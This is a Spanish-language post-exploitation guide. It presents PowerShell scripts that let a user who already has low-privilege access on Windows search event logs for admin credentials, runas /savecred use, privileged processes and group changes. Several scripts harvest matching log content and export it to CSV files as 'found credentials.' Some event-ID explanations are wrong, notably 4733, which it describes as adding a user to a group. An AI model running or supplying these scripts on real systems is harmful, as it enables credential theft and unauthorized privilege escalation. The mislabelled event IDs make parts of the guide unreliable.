LOGS DEL SISTEMA - Windows
Una vez dentro del sistema con acceso de usuario normal, los logs contienen información crítica para encontrar credenciales de usuarios administrativos, identificar vectores de escalada de privilegios, y descubrir cambios de permisos.
PART A: Eventos que Contienen Credenciales en Logs
PowerShell Script Block Logging (ID 4104) - Credenciales Directas
Buscar credenciales hardcoded en scripts ejecutados:
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
ID = 4104
} -MaxEvents 2000 -ErrorAction SilentlyContinue |
ForEach-Object {
$script = $_.Properties[2].Value
if ($script -match 'password|passwd|pwd|-Password|-Credential|Authorization.*Basic') {
Write-Host "=== $($_.TimeCreated) ===" -ForegroundColor Green
Write-Host $script
Write-Host ""
}
}Extraer credenciales en Base64 (Authorization header):
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
ID = 4104
} -MaxEvents 2000 |
ForEach-Object {
$script = $_.Properties[2].Value
if ($script -match 'Authorization.*Basic|ToBase64String') {
Write-Host "=== Credenciales Base64 ===" -ForegroundColor Yellow
Write-Host $script
}
}Buscar runas commands (ejecutar como otro usuario):
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
ID = 4104
} -MaxEvents 2000 |
ForEach-Object {
if ($_.Properties[2].Value -match 'runas|/user|/savecred') {
Write-Host "=== Runas Encontrado ===" -ForegroundColor Red
Write-Host $_.Properties[2].Value
}
}Security Log - Credenciales Expuestas en Eventos de Error
Búsqueda en mensajes de evento (a veces contienen contraseñas):
Get-WinEvent -LogName Security -MaxEvents 2000 -ErrorAction SilentlyContinue |
Where-Object {
$_.Message -like "*password*" -or
$_.Message -like "*credential*" -or
$_.Message -like "*passwd*"
} |
Select-Object TimeCreated, EventID, Message |
Format-Table -AutoSizeBuscar credenciales en eventos fallidos (a veces se envían en texto):
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4625 # Logon fallido
} -MaxEvents 1000 |
Where-Object {
$_.Message -like "*password*"
} |
Select-Object TimeCreated, MessagePART B: Búsqueda por TEXTO - Identificar Usuarios Administrativos y Privilegios
Patrón 1: Usuarios Administrativos en Logs
Buscar menciones de "admin" en logon exitosos (qué admins están activos):
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4624 # Logon exitoso
} -MaxEvents 2000 -ErrorAction SilentlyContinue |
Where-Object {
$_.Message -like "*admin*" -or
$_.Message -like "*root*" -or
$_.Message -like "*system*"
} |
Select-Object TimeCreated, @{Name="User"; Expression={$_.Properties[5].Value}}, MessageBuscar credenciales de dominios administrativos:
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
} -MaxEvents 2000 |
Where-Object {
$_.Message -like "*DOMAIN\admin*" -or
$_.Message -like "*administrator*" -or
$_.Message -like "*domain admin*"
} |
Select-Object TimeCreated, EventID, MessagePatrón 2: Procesos Corren como SYSTEM o ADMIN
Buscar procesos creados por usuarios privilegiados:
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4688 # Proceso creado
} -MaxEvents 2000 -ErrorAction SilentlyContinue |
Where-Object {
$_.Message -like "*SYSTEM*" -or
$_.Message -like "*administrator*" -or
$_.Message -like "*admin*"
} |
Select-Object TimeCreated, Message | Format-Table -AutoSizeBuscar procesos PowerShell ejecutados como SYSTEM:
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4688
} -MaxEvents 2000 |
Where-Object {
$_.Message -like "*powershell*" -and
$_.Message -like "*SYSTEM*"
} |
Select-Object TimeCreated, MessagePatrón 3: Cambios de Permisos y Grupos
Búsqueda de usuarios agregados a grupos administrativos:
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
} -MaxEvents 2000 -ErrorAction SilentlyContinue |
Where-Object {
$_.Message -like "*admin*" -and
($_.Message -like "*added*" -or $_.Message -like "*miembro*" -or $_.EventID -eq 4733)
} |
Select-Object TimeCreated, EventID, MessageBúsqueda de cambios en permisos de archivos:
Get-WinEvent -LogName Security -MaxEvents 2000 |
Where-Object {
$_.Message -like "*permission*" -or
$_.Message -like "*access*" -or
$_.EventID -eq 4670 # Permisos cambiados
} |
Select-Object TimeCreated, MessagePatrón 4: Servicios Ejecutándose como Usuarios con Privilegios
Buscar servicios que corren como usuario (potencial para service abuse):
Get-WinEvent -LogName System -MaxEvents 2000 |
Where-Object {
$_.Message -like "*service*" -and
($_.Message -like "*running as*" -or $_.Message -like "*started as*")
} |
Select-Object TimeCreated, Message | Format-Table -AutoSizePART C: Búsqueda por ID - Eventos Específicos para Escalada
ID 4672: Permisos Especiales Asignados
Se ejecutó con permisos elevados - puede haber usado runas:
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4672
} -MaxEvents 100 -ErrorAction SilentlyContinue |
Select-Object TimeCreated, @{Name="User"; Expression={$_.Properties[1].Value}}, Message |
Format-Table -AutoSizeID 4733: Usuario Agregado a Grupo (Escalada Potencial)
Qué usuarios fueron agregados a grupos administrativos:
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4733
} -MaxEvents 100 -ErrorAction SilentlyContinue |
Select-Object TimeCreated, MessageID 4720: Usuario Nuevo Creado (Backdoor/Nuevas Cuentas)
Cuándo se crearon nuevas cuentas (posible backdoor):
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4720
} -MaxEvents 100 -ErrorAction SilentlyContinue |
Select-Object TimeCreated, Message |
Format-Table -AutoSizeBuscar nuevos usuarios creados como administrativos:
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4720
} -MaxEvents 100 |
Where-Object { $_.Message -like "*admin*" } |
Select-Object TimeCreated, MessageID 4722: Usuario Habilitado (Cuenta Dormida Activada)
Cuándo se habilitaron cuentas deshabilitadas (escalada):
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4722
} -MaxEvents 100 -ErrorAction SilentlyContinue |
Select-Object TimeCreated, MessageID 4728: Usuario Agregado a Grupo Global (Escalada Directa)
Usuario agregado a grupo - directamente de escalada:
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4728
} -MaxEvents 100 -ErrorAction SilentlyContinue |
Select-Object TimeCreated, MessageID 4724: Intento de Cambio de Contraseña
Cuándo intentaron cambiar contraseñas (potencial escalada):
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4724
} -MaxEvents 100 -ErrorAction SilentlyContinue |
Select-Object TimeCreated, @{Name="User"; Expression={$_.Properties[0].Value}}, MessageID 4648: Logon con Credenciales Alternativas (CRITICAL)
Se usó runas o credenciales diferentes - puede haber credenciales en logs:
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4648
} -MaxEvents 100 -ErrorAction SilentlyContinue |
Select-Object TimeCreated, Message | Format-Table -AutoSizeID 4104: PowerShell Script Execution (Dónde Están las Credenciales)
Scripts PowerShell ejecutados - probablemente contengan credenciales:
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
ID = 4104
} -MaxEvents 500 |
Where-Object {
$_.Properties[2].Value -match 'password|credential|user|pass'
} |
ForEach-Object {
Write-Host "=== $($_.TimeCreated) ===" -ForegroundColor Cyan
Write-Host $_.Properties[2].Value
}PART D: Filtros ESENCIALES - Combinaciones para Escalada
Filtro 1: Credenciales Recientes en PowerShell
Últimas 48 horas - credenciales en scripts:
$startTime = (Get-Date).AddHours(-48)
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
ID = 4104
StartTime = $startTime
} |
ForEach-Object {
$script = $_.Properties[2].Value
if ($script -match 'password|user:|admin|domain\\') {
Write-Host "[$($_.TimeCreated)] CREDENCIAL ENCONTRADA"
Write-Host $script -ForegroundColor Yellow
Write-Host "---"
}
}Filtro 2: Cambios Administrativos Sospechosos
Usuarios agregados a admin groups + nuevos usuarios creados:
Write-Host "=== NUEVOS USUARIOS CREADOS ===" -ForegroundColor Red
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4720
StartTime = (Get-Date).AddDays(-7)
} |
Select-Object TimeCreated, Message
Write-Host "`n=== USUARIOS AGREGADOS A GRUPOS ===" -ForegroundColor Red
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4733
StartTime = (Get-Date).AddDays(-7)
} |
Select-Object TimeCreated, MessageFiltro 3: Runas y Credenciales Alternativas
Búsqueda de runas ejecutados + credenciales alternativas usadas:
Write-Host "=== RUNAS EJECUTADOS ===" -ForegroundColor Yellow
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
ID = 4104
} -MaxEvents 1000 |
Where-Object { $_.Properties[2].Value -match 'runas|/user:' } |
ForEach-Object { Write-Host $_.Properties[2].Value }
Write-Host "`n=== CREDENCIALES ALTERNATIVAS USADAS ===" -ForegroundColor Yellow
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4648
} -MaxEvents 100 |
Select-Object TimeCreated, MessageFiltro 4: Procesos SYSTEM con PowerShell (Escalada Completada)
Si hay procesos PowerShell corriendo como SYSTEM, es evidencia de escalada:
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4688
} -MaxEvents 2000 |
Where-Object {
$_.Message -like "*powershell*" -and
$_.Message -like "*SYSTEM*"
} |
ForEach-Object {
Write-Host "=== ESCALADA COMPLETADA ===" -ForegroundColor Red
Write-Host $_.TimeCreated
Write-Host $_.Message
}Filtro 5: Exportar Credenciales Encontradas
Guardar todos los eventos con credenciales a archivo:
$credentials = @()
# PowerShell Script Block Logging
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
ID = 4104
} -MaxEvents 2000 |
ForEach-Object {
if ($_.Properties[2].Value -match 'password|credential|user:') {
$credentials += [PSCustomObject]@{
TimeCreated = $_.TimeCreated
Source = "PowerShell"
Content = $_.Properties[2].Value
}
}
}
# Guardar a archivo
$credentials | Export-Csv C:\temp\found_credentials.csv -NoTypeInformation
Write-Host "Credenciales guardadas en: C:\temp\found_credentials.csv"PART E: Casos Prácticos - Escalada de Privilegios
CASO 1: Encontrar Credenciales Admin en PowerShell Logs
Objetivo: Usuario ejecutó un script que contiene credenciales de admin
Proceso:
Write-Host "=== BUSCANDO CREDENCIALES DE ADMIN EN POWERSHELL ===" -ForegroundColor Red
$adminCredentials = Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
ID = 4104
} -MaxEvents 3000 |
ForEach-Object {
$script = $_.Properties[2].Value
if ($script -match 'admin.*password|password.*admin|domain\\admin') {
Write-Host "[$($_.TimeCreated)] ADMIN CREDENTIAL FOUND" -ForegroundColor Yellow
Write-Host $script -ForegroundColor Cyan
Write-Host "---"
}
}CASO 2: Rastrear Cambios de Permisos Recientes
Objetivo: Identificar si alguien escaló permisos recientemente
Proceso:
$sevenDaysAgo = (Get-Date).AddDays(-7)
Write-Host "=== BÚSQUEDA DE ESCALADA DE PRIVILEGIOS (ÚLTIMOS 7 DÍAS) ===" -ForegroundColor Red
# ID 4672 = Permisos especiales asignados
Write-Host "`n[*] Eventos con permisos especiales:"
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4672
StartTime = $sevenDaysAgo
} | Select-Object TimeCreated, Message
# ID 4733 = Usuario agregado a grupo
Write-Host "`n[*] Usuarios agregados a grupos:"
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4733
StartTime = $sevenDaysAgo
} | Select-Object TimeCreated, Message
# ID 4720 = Usuario creado
Write-Host "`n[*] Nuevos usuarios creados:"
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4720
StartTime = $sevenDaysAgo
} | Select-Object TimeCreated, MessageCASO 3: Detectar Runas con Credenciales Guardadas
Objetivo: Encontrar runas /savecred que podrían haber guardado credenciales
Proceso:
Write-Host "=== BÚSQUEDA DE RUNAS CON CREDENCIALES GUARDADAS ===" -ForegroundColor Red
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
ID = 4104
} -MaxEvents 2000 |
ForEach-Object {
$script = $_.Properties[2].Value
if ($script -match 'runas.*\/savecred|\/savecred.*runas') {
Write-Host "[$($_.TimeCreated)] RUNAS /SAVECRED ENCONTRADO" -ForegroundColor Yellow
Write-Host "Usuario que ejecutó: $(whoami)"
Write-Host "Comando: $script"
Write-Host "---"
}
}
Write-Host "`n[!] Si se encuentran runas /savecred, revisar:"
Write-Host " registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"CASO 4: Verificar si Alguien ya Escaló Privilegios
Objetivo: Confirmar si hay evidencia de escalada exitosa
Proceso:
Write-Host "=== VERIFICACIÓN DE ESCALADA EXITOSA ===" -ForegroundColor Red
# Buscar procesos PowerShell como SYSTEM
Write-Host "`n[1] PowerShell ejecutado como SYSTEM:"
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4688
} -MaxEvents 1000 |
Where-Object {
$_.Message -like "*powershell*" -and $_.Message -like "*SYSTEM*"
} | Select-Object TimeCreated, Message
# Buscar credenciales alternativas usadas
Write-Host "`n[2] Credenciales alternativas (runas) usadas:"
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4648
} -MaxEvents 100 | Select-Object TimeCreated, Message
# Buscar servicios iniciados como usuario
Write-Host "`n[3] Servicios ejecutados como usuario específico:"
Get-WinEvent -LogName System -MaxEvents 1000 |
Where-Object { $_.Message -like "*service*" -and $_.Message -like "*as*" } |
Select-Object TimeCreated, MessageCASO 5: Extracción Masiva de Credenciales de Logs
Objetivo: Extraer TODAS las credenciales encontradas en todos los logs
Proceso:
Write-Host "=== EXTRACCIÓN MASIVA DE CREDENCIALES ===" -ForegroundColor Red
$allCredentials = @()
# De PowerShell
Write-Host "[*] Buscando en PowerShell Operational Log..."
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-PowerShell/Operational'
ID = 4104
} -MaxEvents 3000 | ForEach-Object {
$script = $_.Properties[2].Value
if ($script -match 'password|credential|user.*:.*|[a-zA-Z0-9]{8,}' -and
$script -match '[a-z]+\:[a-zA-Z0-9]+') {
$allCredentials += [PSCustomObject]@{
Time = $_.TimeCreated
Type = "PowerShell"
Content = $script.Substring(0, 200) # Primeros 200 caracteres
}
}
}
# De Security Log
Write-Host "[*] Buscando en Security Log..."
Get-WinEvent -LogName Security -MaxEvents 2000 | Where-Object {
$_.Message -like "*password*" -or $_.Message -like "*credential*"
} | ForEach-Object {
$allCredentials += [PSCustomObject]@{
Time = $_.TimeCreated
Type = "Security"
Content = $_.Message.Substring(0, 200)
}
}
# Exportar
$allCredentials | Sort-Object Time -Descending |
Export-Csv C:\temp\all_creds_found.csv -NoTypeInformation
Write-Host "`n[+] Credenciales encontradas: $($allCredentials.Count)"
Write-Host "[+] Guardado en: C:\temp\all_creds_found.csv"